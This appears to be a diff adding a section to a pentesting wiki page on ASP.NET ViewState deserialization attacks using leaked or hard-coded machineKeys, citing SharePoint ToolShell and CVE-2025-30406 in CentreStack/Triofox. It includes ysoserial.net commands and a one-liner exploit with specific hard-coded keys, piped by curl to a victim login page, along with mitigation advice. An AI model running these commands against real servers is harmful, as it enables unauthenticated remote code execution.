 This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
 
+## 2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys
+
+### Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)
+Microsoft Threat Intelligence reported mass exploitation of ASP.NET sites where the *machineKey* had previously been leaked on public sources (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid `__VIEWSTATE` gadgets with the newer `ysoserial.net` 1.41 `--minify` and `--islegacy` flags to evade WAF length limits:
+
+```bash
+ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
+  --validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
+  --decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
+  --generator=<VIEWSTATEGEN> --minify
+```
+
+Rotating static keys or switching to *AutoGenerate* keys in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitigates this class of attacks. {{#ref}}

+
+### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
+Kudelski Security uncovered that multiple CentreStack / Triofox releases shipped with identical `machineKey` values, enabling unauthenticated remote code execution through ViewState forgery (CVE-2025-30406).
+
+One-liner exploit:
+
+```bash
+ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
+  --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
+  --validationalg=SHA1 \
+  --decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
+  --decryptionalg=AES --generator=24D41AAB --minify \
+  | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
+```
+
+Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – upgrade or replace the keys immediately. {{#ref}}
